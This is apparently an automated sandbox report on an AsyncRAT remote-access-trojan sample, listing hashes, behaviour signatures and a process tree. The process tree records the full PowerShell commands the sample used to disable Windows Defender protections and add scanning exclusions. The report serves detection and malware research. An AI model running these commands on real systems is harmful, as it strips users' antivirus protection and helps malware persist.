Analysis

  • max time kernel
    146s
  • max time network
    148s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    28-06-2024 16:41

General

  • Target

    c4e10100c5cf7bec2d9d0a1d7203ddb2.exe

  • Size

    405KB

  • MD5

    c4e10100c5cf7bec2d9d0a1d7203ddb2

  • SHA1

    24a6ecd52fb2165b8563a2853898316851638871

  • SHA256

    fdc933b64df0832a1f88f0e19a4cab67fb110d54c4913367a7215d7890f8a5b7

  • SHA512

    ff6bd9bdcb95641c5e19aeef99d9cdddb33b5b309ec358a1a50ba00d2cea9a3fa22a0239b4e09d4a8904d4b7f470bbc621d5e0d60331bc5800709d308faf3202

  • SSDEEP

    6144:0NYzj2jBoO33tq6qbXaYBc1g5aN9KBBBBBBByygHG/bZbYdNpmIU:eYzAq81g5aN+BoKD

Malware Config

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 9 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\c4e10100c5cf7bec2d9d0a1d7203ddb2.exe
    "C:\Users\Admin\AppData\Local\Temp\c4e10100c5cf7bec2d9d0a1d7203ddb2.exe"
    1⤵
    • Adds Run key to start application
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2156
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\c4e10100c5cf7bec2d9d0a1d7203ddb2.exe & exit
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2052
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\c4e10100c5cf7bec2d9d0a1d7203ddb2.exe
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2608
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k start /b powershell.exe Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath %USERPROFILE%\AppData" & powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath %USERPROFILE%\Local" & powershell.exe -command "Set-MpPreference -ExclusionExtension '.exe'" & exit
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3012
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2644
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell Set-MpPreference -SubmitSamplesConsent 2
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2824
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath C:\Users\Admin\AppData"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:500
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath C:\Users\Admin\Local"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1632
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -command "Set-MpPreference -ExclusionExtension '.exe'"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2880

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\Y070IKWTL0KLCYZJSBAR.temp

    Filesize

    7KB

    MD5

    bb96597420ee22a94859bbb917f660f6

    SHA1

    1fa36f615713ccb0cc2bb3937a69ee20e4a37fcf

    SHA256

    2522dea1eae3b7a5968edd61c844c8ce6ed867390d744594f7313c1e22499000

    SHA512

    00dac3599231bc32fd59ded0848dc78354e06e56c6db39f4b3f64a6b4e20011d56267c7fd30fe967cf72e94c61e9880b0d2b8b7c8f4110149e8eea0c198e2e1b

  • memory/1632-29-0x000000001B750000-0x000000001BA32000-memory.dmp

    Filesize

    2.9MB

  • memory/1632-30-0x0000000001E90000-0x0000000001E98000-memory.dmp

    Filesize

    32KB

  • memory/2156-0-0x000007FEF5BE3000-0x000007FEF5BE4000-memory.dmp

    Filesize

    4KB

  • memory/2156-1-0x00000000002F0000-0x000000000035C000-memory.dmp

    Filesize

    432KB

  • memory/2156-2-0x000007FEF5BE0000-0x000007FEF65CC000-memory.dmp

    Filesize

    9.9MB

  • memory/2156-36-0x000007FEF5BE3000-0x000007FEF5BE4000-memory.dmp

    Filesize

    4KB

  • memory/2156-37-0x000007FEF5BE0000-0x000007FEF65CC000-memory.dmp

    Filesize

    9.9MB

  • memory/2824-17-0x000000001B720000-0x000000001BA02000-memory.dmp

    Filesize

    2.9MB

  • memory/2824-18-0x00000000021D0000-0x00000000021D8000-memory.dmp

    Filesize

    32KB